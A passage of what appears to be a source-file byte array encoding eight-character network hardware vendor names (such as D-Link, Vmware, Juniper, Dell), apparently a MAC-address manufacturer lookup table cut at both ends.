0x65,\r\n0x4b, 0x64, 0x64, 0x69, 0x4e, 0x65, 0x74, 0x77,\r\n0x53, 0x74, 0x61, 0x72, 0x65, 0x6e, 0x74, 0x4e,\r\n0x44, 0x69, 0x73, 0x63, 0x6f, 0x00, 0x00, 0x00,\r\n0x53, 0x61, 0x6c, 0x69, 0x72, 0x61, 0x4f, 0x70,\r\n0x41, 0x72, 0x69, 0x6f, 0x44, 0x61, 0x74, 0x61,\r\n0x45, 0x61, 0x74, 0x6f, 0x6e, 0x41, 0x75, 0x74,\r\n0x52, 0x66, 0x49, 0x6e, 0x6e, 0x6f, 0x76, 0x61,\r\n0x42, 0x72, 0x61, 0x6e, 0x73, 0x54, 0x65, 0x63,\r\n0x50, 0x68, 0x69, 0x6c, 0x69, 0x70, 0x73, 0x00,\r\n0x47, 0x61, 0x72, 0x6d, 0x69, 0x6e, 0x49, 0x6e,\r\n0x56, 0x63, 0x6f, 0x6d, 0x6d, 0x73, 0x43, 0x6f,\r\n0x46, 0x53, 0x45, 0x6c, 0x65, 0x6b, 0x74, 0x72,\r\n0x58, 0x79, 0x63, 0x6f, 0x74, 0x65, 0x63, 0x43,\r\n0x44, 0x76, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x52, 0x61, 0x6e, 0x67, 0x65, 0x73, 0x74, 0x61,\r\n0x4a, 0x61, 0x70, 0x61, 0x6e, 0x43, 0x61, 0x73,\r\n0x33, 0x36, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x41, 0x67, 0x69, 0x6c, 0x65, 0x54, 0x76, 0x00,\r\n0x53, 0x79, 0x6e, 0x63, 0x68, 0x72, 0x6f, 0x6e,\r\n0x49, 0x6e, 0x74, 0x72, 0x61, 0x63, 0x6f, 0x6d,\r\n0x50, 0x6f, 0x77, 0x65, 0x72, 0x44, 0x73, 0x69,\r\n0x4b, 0x6f, 0x77, 0x61, 0x00, 0x00, 0x00, 0x00,\r\n0x44, 0x2d, 0x4c, 0x69, 0x6e, 0x6b, 0x00, 0x00,\r\n0x4c, 0x65, 0x61, 0x64, 0x65, 0x72, 0x43, 0x6f,\r\n0x4e, 0x61, 0x63, 0x49, 0x6d, 0x61, 0x67, 0x65,\r\n0x4a, 0x2d, 0x57, 0x6f, 0x72, 0x6b, 0x73, 0x00,\r\n0x54, 0x61, 0x69, 0x6c, 0x79, 0x6e, 0x43, 0x6f,\r\n0x53, 0x65, 0x63, 0x75, 0x69, 0x43, 0x6f, 0x6d,\r\n0x45, 0x74, 0x79, 0x6d, 0x6f, 0x6e, 0x69, 0x63,\r\n0x50, 0x69, 0x6c, 0x74, 0x6f, 0x66, 0x69, 0x73,\r\n0x56, 0x6d, 0x77, 0x61, 0x72, 0x65, 0x00, 0x00,\r\n0x48, 0x65, 0x75, 0x66, 0x74, 0x53, 0x79, 0x73,\r\n0x43, 0x50, 0x54, 0x65, 0x63, 0x68, 0x6e, 0x6f,\r\n0x48, 0x75, 0x6e, 0x67, 0x43, 0x68, 0x61, 0x6e,\r\n0x50, 0x61, 0x63, 0x69, 0x66, 0x69, 0x63, 0x00,\r\n0x4e, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x61, 0x6c,\r\n0x49, 0x6e, 0x6e, 0x6f, 0x6d, 0x65, 0x64, 0x69,\r\n0x42, 0x61, 0x79, 0x64, 0x65, 0x6c, 0x00, 0x00,\r\n0x53, 0x65, 0x69, 0x77, 0x61, 0x45, 0x6c, 0x65,\r\n0x44, 0x65, 0x6f, 0x6e, 0x65, 0x74, 0x00, 0x00,\r\n0x43, 0x64, 0x73, 0x2d, 0x45, 0x6c, 0x65, 0x63,\r\n0x4e, 0x73, 0x6d, 0x54, 0x65, 0x63, 0x68, 0x6e,\r\n0x53, 0x6d, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d,\r\n0x4f, 0x76, 0x65, 0x72, 0x74, 0x75, 0x72, 0x65,\r\n0x43, 0x68, 0x75, 0x6e, 0x67, 0x4e, 0x61, 0x6d,\r\n0x52, 0x63, 0x6f, 0x53, 0x65, 0x63, 0x75, 0x72,\r\n0x53, 0x75, 0x6e, 0x43, 0x6f, 0x6d, 0x6d, 0x75,\r\n0x45, 0x63, 0x6b, 0x65, 0x6c, 0x6d, 0x61, 0x6e,\r\n0x41, 0x63, 0x71, 0x69, 0x73, 0x54, 0x65, 0x63,\r\n0x46, 0x69, 0x62, 0x72, 0x6f, 0x6c, 0x61, 0x6e,\r\n0x53, 0x6e, 0x65, 0x6c, 0x6c, 0x00, 0x00, 0x00,\r\n0x43, 0x6c, 0x65, 0x61, 0x72, 0x63, 0x75, 0x62,\r\n0x49, 0x6d, 0x61, 0x67, 0x65, 0x63, 0x6f, 0x6d,\r\n0x41, 0x62, 0x73, 0x6f, 0x6c, 0x75, 0x74, 0x65,\r\n0x4a, 0x75, 0x6e, 0x69, 0x70, 0x65, 0x72, 0x4e,\r\n0x4c, 0x75, 0x63, 0x65, 0x6e, 0x74, 0x54, 0x65,\r\n0x4c, 0x6f, 0x63, 0x75, 0x73, 0x00, 0x00, 0x00,\r\n0x53, 0x65, 0x6e, 0x73, 0x6f, 0x72, 0x69, 0x61,\r\n0x4e, 0x65, 0x74, 0x63, 0x6f, 0x6d, 0x00, 0x00,\r\n0x49, 0x70, 0x6d, 0x65, 0x6e, 0x74, 0x61, 0x6c,\r\n0x4f, 0x70, 0x65, 0x6e, 0x74, 0x65, 0x63, 0x68,\r\n0x4c, 0x79, 0x6e, 0x78, 0x50, 0x68, 0x6f, 0x74,\r\n0x46, 0x6c, 0x65, 0x78, 0x74, 0x72, 0x6f, 0x6e,\r\n0x43, 0x6c, 0x63, 0x73, 0x6f, 0x66, 0x74, 0x00,\r\n0x53, 0x77, 0x69, 0x73, 0x73, 0x76, 0x6f, 0x69,\r\n0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x53, 0x69,\r\n0x50, 0x75, 0x6c, 0x74, 0x65, 0x6b, 0x00, 0x00,\r\n0x47, 0x72, 0x61, 0x6d, 0x6d, 0x61, 0x72, 0x45,\r\n0x48, 0x6d, 0x73, 0x49, 0x6e, 0x64, 0x75, 0x73,\r\n0x41, 0x6c, 0x65, 0x73, 0x69, 0x73, 0x00, 0x00,\r\n0x47, 0x65, 0x6e, 0x6f, 0x74, 0x65, 0x63, 0x68,\r\n0x45, 0x61, 0x67, 0x6c, 0x65, 0x54, 0x72, 0x61,\r\n0x43, 0x72, 0x6f, 0x6e, 0x6f, 0x73, 0x53, 0x52,\r\n0x44, 0x72, 0x73, 0x54, 0x65, 0x73, 0x74, 0x41,\r\n0x4b, 0x6c, 0x65, 0x69, 0x6e, 0x6b, 0x6e, 0x65,\r\n0x44, 0x61, 0x6e, 0x69, 0x65, 0x6c, 0x43, 0x6f,\r\n0x5a, 0x69, 0x6e, 0x77, 0x65, 0x6c, 0x6c, 0x00,\r\n0x59, 0x6f, 0x74, 0x74, 0x61, 0x4e, 0x65, 0x74,\r\n0x4d, 0x6f, 0x62, 0x69, 0x6c, 0x69, 0x6e, 0x65,\r\n0x5a, 0x65, 0x6e, 0x6f, 0x63, 0x6f, 0x6d, 0x00,\r\n0x43, 0x65, 0x6c, 0x6f, 0x78, 0x4e, 0x65, 0x74,\r\n0x51, 0x65, 0x69, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x4c, 0x75, 0x63, 0x69, 0x64, 0x56, 0x6f, 0x69,\r\n0x4b, 0x6f, 0x74, 0x74, 0x00, 0x00, 0x00, 0x00,\r\n0x45, 0x78, 0x74, 0x72, 0x6f, 0x6e, 0x45, 0x6c,\r\n0x48, 0x79, 0x70, 0x65, 0x72, 0x63, 0x68, 0x69,\r\n0x57, 0x79, 0x6c, 0x65, 0x45, 0x6c, 0x65, 0x63,\r\n0x50, 0x72, 0x69, 0x6e, 0x63, 0x65, 0x74, 0x6f,\r\n0x4d, 0x6f, 0x6f, 0x72, 0x65, 0x49, 0x6e, 0x64,\r\n0x43, 0x79, 0x62, 0x65, 0x72, 0x46, 0x6f, 0x6e,\r\n0x4e, 0x6f, 0x72, 0x74, 0x68, 0x65, 0x72, 0x6e,\r\n0x54, 0x6f, 0x70, 0x73, 0x70, 0x69, 0x6e, 0x43,\r\n0x4d, 0x65, 0x64, 0x69, 0x61, 0x70, 0x6f, 0x72,\r\n0x49, 0x6e, 0x6e, 0x6f, 0x73, 0x63, 0x61, 0x6e,\r\n0x4b, 0x6f, 0x72, 0x65, 0x61, 0x43, 0x6f, 0x6d,\r\n0x41, 0x73, 0x62, 0x54, 0x65, 0x63, 0x68, 0x6e,\r\n0x4d, 0x65, 0x64, 0x69, 0x73, 0x6f, 0x6e, 0x00,\r\n0x41, 0x73, 0x61, 0x68, 0x69, 0x2d, 0x45, 0x6e,\r\n0x41, 0x63, 0x65, 0x65, 0x78, 0x00, 0x00, 0x00,\r\n0x42, 0x72, 0x6f, 0x61, 0x64, 0x63, 0x6f, 0x6d,\r\n0x49, 0x6e, 0x73, 0x79, 0x73, 0x4d, 0x69, 0x63,\r\n0x41, 0x72, 0x62, 0x6f, 0x72, 0x54, 0x65, 0x63,\r\n0x45, 0x6c, 0x65, 0x63, 0x74, 0x72, 0x6f, 0x6e,\r\n0x41, 0x69, 0x72, 0x76, 0x61, 0x6e, 0x61, 0x00,\r\n0x41, 0x72, 0x65, 0x61, 0x4e, 0x65, 0x74, 0x77,\r\n0x4d, 0x79, 0x73, 0x70, 0x61, 0x63, 0x65, 0x00,\r\n0x52, 0x65, 0x73, 0x6f, 0x75, 0x72, 0x63, 0x65,\r\n0x52, 0x6f, 0x61, 0x78, 0x42, 0x76, 0x00, 0x00,\r\n0x4b, 0x6f, 0x6e, 0x67, 0x73, 0x62, 0x65, 0x72,\r\n0x4a, 0x75, 0x73, 0x74, 0x65, 0x7a, 0x79, 0x54,\r\n0x44, 0x69, 0x67, 0x69, 0x74, 0x61, 0x6c, 0x4e,\r\n0x41, 0x2d, 0x4b, 0x79, 0x75, 0x6e, 0x67, 0x4d,\r\n0x53, 0x6f, 0x72, 0x6f, 0x6e, 0x74, 0x69, 0x00,\r\n0x50, 0x61, 0x63, 0x69, 0x66, 0x69, 0x63, 0x49,\r\n0x54, 0x65, 0x6c, 0x65, 0x63, 0x74, 0x00, 0x00,\r\n0x46, 0x6c, 0x61, 0x67, 0x61, 0x48, 0x66, 0x00,\r\n0x54, 0x72, 0x69, 0x7a, 0x43, 0x6f, 0x6d, 0x6d,\r\n0x49, 0x2f, 0x46, 0x2d, 0x43, 0x6f, 0x6d, 0x00,\r\n0x56, 0x65, 0x72, 0x79, 0x74, 0x65, 0x63, 0x68,\r\n0x4c, 0x67, 0x49, 0x6e, 0x6e, 0x6f, 0x74, 0x65,\r\n0x48, 0x69, 0x74, 0x72, 0x6f, 0x6e, 0x54, 0x65,\r\n0x52, 0x6f, 0x69, 0x73, 0x54, 0x65, 0x63, 0x68,\r\n0x53, 0x75, 0x6d, 0x74, 0x65, 0x6c, 0x43, 0x6f,\r\n0x44, 0x26, 0x4d, 0x48, 0x6f, 0x6c, 0x64, 0x69,\r\n0x50, 0x72, 0x6f, 0x6c, 0x69, 0x6e, 0x6b, 0x4d,\r\n0x54, 0x68, 0x75, 0x6e, 0x64, 0x65, 0x72, 0x52,\r\n0x53, 0x6f, 0x6c, 0x69, 0x6e, 0x65, 0x74, 0x00,\r\n0x4d, 0x65, 0x74, 0x61, 0x76, 0x65, 0x63, 0x74,\r\n0x44, 0x61, 0x70, 0x54, 0x65, 0x63, 0x68, 0x6e,\r\n0x45, 0x70, 0x72, 0x6f, 0x64, 0x75, 0x63, 0x74,\r\n0x46, 0x75, 0x74, 0x75, 0x72, 0x65, 0x73, 0x6d,\r\n0x53, 0x70, 0x65, 0x65, 0x64, 0x63, 0x6f, 0x6d,\r\n0x4c, 0x2d, 0x33, 0x4c, 0x69, 0x6e, 0x6b, 0x61,\r\n0x56, 0x69, 0x73, 0x74, 0x61, 0x49, 0x6d, 0x61,\r\n0x41, 0x72, 0x65, 0x73, 0x63, 0x6f, 0x6d, 0x00,\r\n0x54, 0x65, 0x63, 0x68, 0x6e, 0x6f, 0x56, 0x61,\r\n0x41, 0x70, 0x65, 0x78, 0x41, 0x75, 0x74, 0x6f,\r\n0x50, 0x73, 0x69, 0x4e, 0x65, 0x6e, 0x74, 0x65,\r\n0x47, 0x69, 0x46, 0x6f, 0x6e, 0x65, 0x4b, 0x6f,\r\n0x45, 0x6d, 0x70, 0x69, 0x72, 0x69, 0x78, 0x00,\r\n0x54, 0x72, 0x65, 0x6c, 0x6c, 0x69, 0x73, 0x50,\r\n0x43, 0x72, 0x65, 0x61, 0x74, 0x69, 0x76, 0x4e,\r\n0x4c, 0x69, 0x67, 0x68, 0x74, 0x73, 0x61, 0x6e,\r\n0x52, 0x65, 0x64, 0x4c, 0x69, 0x6f, 0x6e, 0x43,\r\n0x52, 0x65, 0x6e, 0x69, 0x73, 0x68, 0x61, 0x77,\r\n0x45, 0x67, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x00,\r\n0x4e, 0x65, 0x74, 0x72, 0x61, 0x6b, 0x65, 0x41,\r\n0x54, 0x75, 0x72, 0x62, 0x6f, 0x77, 0x61, 0x76,\r\n0x55, 0x6e, 0x69, 0x63, 0x65, 0x73, 0x73, 0x4e,\r\n0x52, 0x65, 0x64, 0x6e, 0x69, 0x78, 0x00, 0x00,\r\n0x42, 0x6c, 0x75, 0x65, 0x52, 0x69, 0x64, 0x67,\r\n0x4d, 0x6f, 0x73, 0x61, 0x69, 0x63, 0x00, 0x00,\r\n0x54, 0x65, 0x63, 0x68, 0x6e, 0x69, 0x6b, 0x75,\r\n0x56, 0x61, 0x6e, 0x64, 0x65, 0x72, 0x62, 0x69,\r\n0x41, 0x64, 0x6f, 0x69, 0x72, 0x44, 0x69, 0x67,\r\n0x53, 0x61, 0x74, 0x65, 0x63, 0x00, 0x00, 0x00,\r\n0x56, 0x72, 0x63, 0x6f, 0x6d, 0x00, 0x00, 0x00,\r\n0x50, 0x6f, 0x77, 0x65, 0x72, 0x52, 0x00, 0x00,\r\n0x57, 0x65, 0x62, 0x79, 0x6e, 0x00, 0x00, 0x00,\r\n0x53, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x42, 0x61,\r\n0x47, 0x65, 0x6f, 0x73, 0x70, 0x61, 0x63, 0x65,\r\n0x59, 0x6f, 0x75, 0x6e, 0x67, 0x43, 0x68, 0x61,\r\n0x41, 0x6e, 0x61, 0x6c, 0x6f, 0x67, 0x44, 0x65,\r\n0x52, 0x65, 0x61, 0x6c, 0x54, 0x69, 0x6d, 0x65,\r\n0x54, 0x6f, 0x61, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x49, 0x70, 0x6f, 0x70, 0x74, 0x69, 0x63, 0x61,\r\n0x53, 0x68, 0x61, 0x72, 0x65, 0x67, 0x61, 0x74,\r\n0x53, 0x63, 0x68, 0x65, 0x6e, 0x63, 0x6b, 0x50,\r\n0x50, 0x61, 0x63, 0x6b, 0x65, 0x74, 0x6c, 0x69,\r\n0x54, 0x72, 0x61, 0x66, 0x69, 0x63, 0x6f, 0x6e,\r\n0x53, 0x6e, 0x73, 0x53, 0x6f, 0x6c, 0x75, 0x74,\r\n0x54, 0x6f, 0x73, 0x68, 0x69, 0x62, 0x61, 0x54,\r\n0x4f, 0x74, 0x61, 0x6e, 0x69, 0x6b, 0x65, 0x69,\r\n0x43, 0x69, 0x72, 0x6b, 0x69, 0x74, 0x65, 0x63,\r\n0x42, 0x61, 0x6b, 0x65, 0x72, 0x48, 0x75, 0x67,\r\n0x40, 0x54, 0x72, 0x61, 0x63, 0x6b, 0x43, 0x6f,\r\n0x49, 0x6e, 0x6e, 0x63, 0x6f, 0x6d, 0x49, 0x6e,\r\n0x52, 0x61, 0x70, 0x69, 0x64, 0x77, 0x61, 0x6e,\r\n0x4f, 0x6d, 0x6e, 0x69, 0x44, 0x69, 0x72, 0x65,\r\n0x41, 0x74, 0x2d, 0x53, 0x6b, 0x79, 0x53, 0x61,\r\n0x43, 0x72, 0x6f, 0x73, 0x73, 0x70, 0x6f, 0x72,\r\n0x42, 0x6c, 0x75, 0x65, 0x32, 0x73, 0x70, 0x61,\r\n0x4d, 0x65, 0x6c, 0x63, 0x6f, 0x49, 0x6e, 0x64,\r\n0x57, 0x61, 0x76, 0x65, 0x37, 0x4f, 0x70, 0x74,\r\n0x49, 0x67, 0x79, 0x73, 0x00, 0x00, 0x00, 0x00,\r\n0x4e, 0x61, 0x72, 0x61, 0x64, 0x4e, 0x65, 0x74,\r\n0x41, 0x62, 0x65, 0x6f, 0x6e, 0x61, 0x4e, 0x65,\r\n0x5a, 0x65, 0x75, 0x73, 0x57, 0x69, 0x72, 0x65,\r\n0x41, 0x63, 0x63, 0x75, 0x73, 0x79, 0x73, 0x00,\r\n0x4b, 0x61, 0x77, 0x61, 0x73, 0x61, 0x6b, 0x69,\r\n0x50, 0x72, 0x69, 0x73, 0x6d, 0x48, 0x6f, 0x6c,\r\n0x4b, 0x69, 0x6d, 0x6f, 0x74, 0x6f, 0x45, 0x6c,\r\n0x54, 0x65, 0x6c, 0x4e, 0x65, 0x74, 0x00, 0x00,\r\n0x52, 0x65, 0x64, 0x73, 0x77, 0x69, 0x74, 0x63,\r\n0x44, 0x69, 0x67, 0x69, 0x70, 0x6f, 0x77, 0x65,\r\n0x43, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x69,\r\n0x5a, 0x65, 0x74, 0x61, 0x72, 0x69, 0x00, 0x00,\r\n0x4e, 0x6f, 0x74, 0x65, 0x62, 0x6f, 0x6f, 0x6b,\r\n0x48, 0x6f, 0x73, 0x68, 0x69, 0x6e, 0x6f, 0x4d,\r\n0x4d, 0x69, 0x70, 0x54, 0x65, 0x6c, 0x65, 0x63,\r\n0x4d, 0x61, 0x78, 0x61, 0x6e, 0x00, 0x00, 0x00,\r\n0x56, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x43, 0x6f,\r\n0x53, 0x65, 0x72, 0x69, 0x61, 0x6c, 0x53, 0x79,\r\n0x48, 0x69, 0x6e, 0x6f, 0x78, 0x00, 0x00, 0x00,\r\n0x43, 0x68, 0x75, 0x6e, 0x67, 0x46, 0x75, 0x43,\r\n0x4d, 0x67, 0x65, 0x55, 0x70, 0x73, 0x46, 0x72,\r\n0x47, 0x65, 0x6e, 0x74, 0x6e, 0x65, 0x72, 0x43,\r\n0x4d, 0x77, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x55, 0x6e, 0x69, 0x77, 0x69, 0x64, 0x65, 0x54,\r\n0x49, 0x62, 0x6d, 0x52, 0x69, 0x73, 0x63, 0x36,\r\n0x49, 0x6e, 0x74, 0x72, 0x61, 0x73, 0x65, 0x72,\r\n0x42, 0x69, 0x76, 0x69, 0x6f, 0x4e, 0x65, 0x74,\r\n0x54, 0x6f, 0x75, 0x63, 0x68, 0x73, 0x74, 0x61,\r\n0x41, 0x72, 0x69, 0x73, 0x74, 0x6f, 0x73, 0x4c,\r\n0x50, 0x69, 0x76, 0x6f, 0x74, 0x65, 0x63, 0x68,\r\n0x41, 0x64, 0x74, 0x72, 0x61, 0x6e, 0x7a, 0x53,\r\n0x43, 0x61, 0x6c, 0x69, 0x78, 0x00, 0x00, 0x00,\r\n0x4d, 0x65, 0x73, 0x63, 0x6f, 0x45, 0x6e, 0x67,\r\n0x43, 0x72, 0x6f, 0x73, 0x73, 0x4d, 0x61, 0x74,\r\n0x47, 0x74, 0x65, 0x41, 0x69, 0x72, 0x66, 0x6f,\r\n0x50, 0x61, 0x63, 0x6b, 0x65, 0x74, 0x61, 0x69,\r\n0x4a, 0x65, 0x64, 0x61, 0x69, 0x42, 0x72, 0x6f,\r\n0x54, 0x6f, 0x70, 0x74, 0x72, 0x65, 0x6e, 0x64,\r\n0x53, 0x75, 0x6e, 0x67, 0x6a, 0x69, 0x6e, 0x43,\r\n0x4e, 0x65, 0x77, 0x74, 0x65, 0x63, 0x00, 0x00,\r\n0x44, 0x75, 0x72, 0x61, 0x4d, 0x69, 0x63, 0x72,\r\n0x41, 0x72, 0x63, 0x74, 0x75, 0x72, 0x75, 0x73,\r\n0x49, 0x6e, 0x74, 0x72, 0x69, 0x6e, 0x73, 0x79,\r\n0x4d, 0x69, 0x63, 0x72, 0x6f, 0x77, 0x61, 0x76,\r\n0x4f, 0x70, 0x74, 0x68, 0x6f, 0x73, 0x00, 0x00,\r\n0x45, 0x76, 0x65, 0x72, 0x65, 0x78, 0x43, 0x6f,\r\n0x57, 0x68, 0x69, 0x74, 0x65, 0x52, 0x6f, 0x63,\r\n0x49, 0x74, 0x63, 0x6e, 0x00, 0x00, 0x00, 0x00,\r\n0x47, 0x65, 0x6e, 0x65, 0x74, 0x65, 0x6c, 0x00,\r\n0x53, 0x6f, 0x6e, 0x6f, 0x43, 0x6f, 0x6d, 0x70,\r\n0x4e, 0x65, 0x69, 0x78, 0x00, 0x00, 0x00, 0x00,\r\n0x4d, 0x65, 0x69, 0x73, 0x65, 0x69, 0x45, 0x6c,\r\n0x45, 0x74, 0x72, 0x61, 0x6c, 0x69, 0x53, 0x41,\r\n0x53, 0x65, 0x65, 0x64, 0x73, 0x77, 0x61, 0x72,\r\n0x33, 0x6d, 0x44, 0x65, 0x75, 0x74, 0x73, 0x63,\r\n0x48, 0x6f, 0x6e, 0x65, 0x79, 0x77, 0x65, 0x6c,\r\n0x41, 0x6c, 0x65, 0x78, 0x6f, 0x6e, 0x00, 0x00,\r\n0x49, 0x6e, 0x76, 0x69, 0x63, 0x74, 0x61, 0x4e,\r\n0x53, 0x65, 0x6e, 0x63, 0x6f, 0x72, 0x65, 0x00,\r\n0x42, 0x72, 0x6f, 0x61, 0x64, 0x4e, 0x65, 0x74,\r\n0x50, 0x72, 0x6f, 0x2d, 0x4e, 0x65, 0x74, 0x73,\r\n0x54, 0x69, 0x62, 0x75, 0x72, 0x6f, 0x6e, 0x4e,\r\n0x41, 0x73, 0x70, 0x65, 0x6e, 0x4e, 0x65, 0x74,\r\n0x57, 0x69, 0x6e, 0x70, 0x72, 0x65, 0x73, 0x61,\r\n0x59, 0x69, 0x70, 0x65, 0x65, 0x00, 0x00, 0x00,\r\n0x54, 0x61, 0x63, 0x74, 0x65, 0x6c, 0x00, 0x00,\r\n0x4d, 0x61, 0x72, 0x6b, 0x65, 0x74, 0x43, 0x65,\r\n0x48, 0x65, 0x6c, 0x6d, 0x75, 0x74, 0x46, 0x69,\r\n0x45, 0x61, 0x6c, 0x41, 0x70, 0x65, 0x6c, 0x64,\r\n0x53, 0x74, 0x72, 0x69, 0x78, 0x00, 0x00, 0x00,\r\n0x44, 0x65, 0x6c, 0x6c, 0x00, 0x00, 0x00, 0x00,\r\n0x4d, 0x61, 0x6c, 0x61, 0x63, 0x68, 0x69, 0x74,\r\n0x50, 0x68, 0x6f, 0x74, 0x75, 0x72, 0x69, 0x73,\r\n0x4e, 0x61, 0x64, 0x65, 0x78, 0x00, 0x00, 0x00,\r\n0x4e, 0x69, 0x61, 0x48, 0x6f, 0x6d, 0x65, 0x54,\r\n0x4d, 0x62, 0x6d, 0x54, 0x65, 0x63, 0x68, 0x6e,\r\n0x48, 0x75, 0x6d, 0x61, 0x6e, 0x54, 0x65, 0x63,\r\n0x46, 0x6f, 0x73, 0x74, 0x65, 0x78, 0x00, 0x00,\r\n0x53, 0x75, 0x6e, 0x6e, 0x79, 0x47, 0x69, 0x6b,\r\n0x52, 0x6f, 0x76, 0x69, 0x6e, 0x67, 0x4e, 0x65,\r\n0x54, 0x72, 0x69, 0x70, 0x70, 0x4c, 0x69, 0x74,\r\n0x56, 0x69, 0x63, 0x6f, 0x6e, 0x49, 0x6e, 0x64,\r\n0x44, 0x61, 0x74, 0x61, 0x73, 0x6f, 0x75, 0x6e,\r\n0x49, 0x6e, 0x66, 0x69, 0x6e, 0x69, 0x63, 0x6f,\r\n0x53, 0x79, 0x73, 0x6d, 0x65, 0x78, 0x00, 0x00,\r\n0x52, 0x6f, 0x62, 0x69, 0x6e, 0x73, 0x6f, 0x6e,\r\n0x43, 0x6f, 0x6d, 0x70, 0x75, 0x70, 0x72, 0x69,\r\n0x44, 0x65, 0x6c, 0x74, 0x61, 0x45, 0x6c, 0x65,\r\n0x4b, 0x6f, 0x72, 0x65, 0x61, 0x44, 0x61, 0x74,\r\n0x55, 0x70, 0x70, 0x6f, 0x6e, 0x65, 0x74, 0x74,\r\n0x53, 0x6f, 0x66, 0x74, 0x69, 0x6e, 0x67, 0x00,\r\n0x4e, 0x65, 0x74, 0x65, 0x7a, 0x7a, 0x61, 0x00,\r\n0x54, 0x6b, 0x68, 0x53, 0x65, 0x63, 0x75, 0x72,\r\n0x42, 0x61, 0x6e, 0x64, 0x65, 0x72, 0x61, 0x63,\r\n0x4e, 0x6f, 0x76, 0x72, 0x61, 0x54, 0x65, 0x63,\r\n0x53, 0x69, 0x63, 0x6b, 0x00, 0x00, 0x00, 0x00,\r\n0x4b, 0x6f, 0x6e, 0x61, 0x6d, 0x69, 0x00, 0x00,\r\n0x4a, 0x6d, 0x70, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x54, 0x6f, 0x70, 0x6c, 0x69, 0x6e, 0x6b, 0x43,\r\n0x54, 0x61, 0x6b, 0x61, 0x73, 0x61, 0x67, 0x6f,\r\n0x57, 0x69, 0x6e, 0x63, 0x6f, 0x6d, 0x00, 0x00,\r\n0x44, 0x69, 0x67, 0x65, 0x6f, 0x00, 0x00, 0x00,\r\n0x43, 0x61, 0x72, 0x64, 0x41, 0x63, 0x63, 0x65,\r\n0x47, 0x6f, 0x65, 0x70, 0x65, 0x6c, 0x45, 0x6c,\r\n0x43, 0x6f, 0x6e, 0x76, 0x65, 0x64, 0x69, 0x61,\r\n0x42, 0x72, 0x61, 0x76, 0x61, 0x72, 0x61, 0x43,\r\n0x42, 0x69, 0x61, 0x63, 0x6f, 0x72, 0x65, 0x00,\r\n0x4e, 0x65, 0x74, 0x6e, 0x65, 0x61, 0x72, 0x75,\r\n0x5a, 0x61, 0x72, 0x64, 0x63, 0x6f, 0x6d, 0x00,\r\n0x4f, 0x6d, 0x6e, 0x69, 0x74, 0x72, 0x6f, 0x6e,\r\n0x54, 0x65, 0x6c, 0x77, 0x61, 0x79, 0x73, 0x43,\r\n0x59, 0x6c, 0x65, 0x7a, 0x54, 0x65, 0x63, 0x68,\r\n0x4e, 0x65, 0x75, 0x72, 0x6f, 0x6e, 0x6e, 0x65,\r\n0x41, 0x69, 0x72, 0x72, 0x75, 0x6e, 0x6e, 0x65,\r\n0x53, 0x65, 0x70, 0x61, 0x74, 0x6f, 0x6e, 0x00,\r\n0x48, 0x69, 0x64, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x54, 0x65, 0x6c, 0x65, 0x6d, 0x6f, 0x6e, 0x69,\r\n0x45, 0x75, 0x72, 0x61, 0x63, 0x6f, 0x6d, 0x43,\r\n0x50, 0x74, 0x49, 0x6e, 0x6f, 0x76, 0x61, 0x63,\r\n0x49, 0x6e, 0x74, 0x72, 0x75, 0x76, 0x65, 0x72,\r\n0x46, 0x6c, 0x65, 0x78, 0x75, 0x73, 0x43, 0x6f,\r\n0x4d, 0x6f, 0x62, 0x69, 0x6c, 0x6c, 0x69, 0x61,\r\n0x45, 0x6e, 0x73, 0x75, 0x72, 0x65, 0x54, 0x65,\r\n0x41, 0x64, 0x76, 0x65, 0x6e, 0x74, 0x4e, 0x65,\r\n0x52, 0x44, 0x43, 0x65, 0x6e, 0x74, 0x65, 0x72,\r\n0x45, 0x67, 0x6e, 0x69, 0x74, 0x65, 0x00, 0x00,\r\n0x56, 0x69, 0x64, 0x61, 0x44, 0x65, 0x73, 0x69,\r\n0x45, 0x54, 0x65, 0x6c, 0x00, 0x00, 0x00, 0x00,\r\n0x41, 0x76, 0x74, 0x41, 0x75, 0x64, 0x69, 0x6f,\r\n0x54, 0x72, 0x61, 0x6e, 0x73, 0x6d, 0x6f, 0x64,\r\n0x50, 0x65, 0x74, 0x61, 0x72, 0x64, 0x73, 0x00,\r\n0x55, 0x6e, 0x69, 0x71, 0x61, 0x00, 0x00, 0x00,\r\n0x4b, 0x75, 0x6f, 0x6b, 0x6f, 0x61, 0x4e, 0x65,\r\n0x4d, 0x78, 0x49, 0x6d, 0x61, 0x67, 0x69, 0x6e,\r\n0x43, 0x65, 0x6c, 0x73, 0x69, 0x61, 0x6e, 0x54,\r\n0x4d, 0x69, 0x63, 0x72, 0x6f, 0x74, 0x75, 0x6e,\r\n0x42, 0x69, 0x74, 0x72, 0x61, 0x6e, 0x00, 0x00,\r\n0x49, 0x6e, 0x6e, 0x6f, 0x77, 0x65, 0x6c, 0x6c,\r\n0x50, 0x69, 0x6e, 0x6f, 0x6e, 0x00, 0x00, 0x00,\r\n0x41, 0x72, 0x74, 0x69, 0x73, 0x74, 0x69, 0x63,\r\n0x50, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x69, 0x6f,\r\n0x4b, 0x63, 0x54, 0x65, 0x63, 0x68, 0x6e, 0x6f,\r\n0x56, 0x74, 0x4d, 0x69, 0x6c, 0x74, 0x6f, 0x70,\r\n0x57, 0x2d, 0x4c, 0x69, 0x6e, 0x6b, 0x00, 0x00,\r\n0x4b, 0x62, 0x45, 0x6c, 0x65, 0x63, 0x74, 0x72,\r\n0x48, 0x69, 0x6d, 0x61, 0x63, 0x68, 0x61, 0x6c,\r\n0x58, 0x61, 0x6c, 0x74, 0x65, 0x64, 0x4e, 0x65,\r\n0x43, 0x6f, 0x6d, 0x74, 0x65, 0x63, 0x68, 0x45,\r\n0x53, 0x6f, 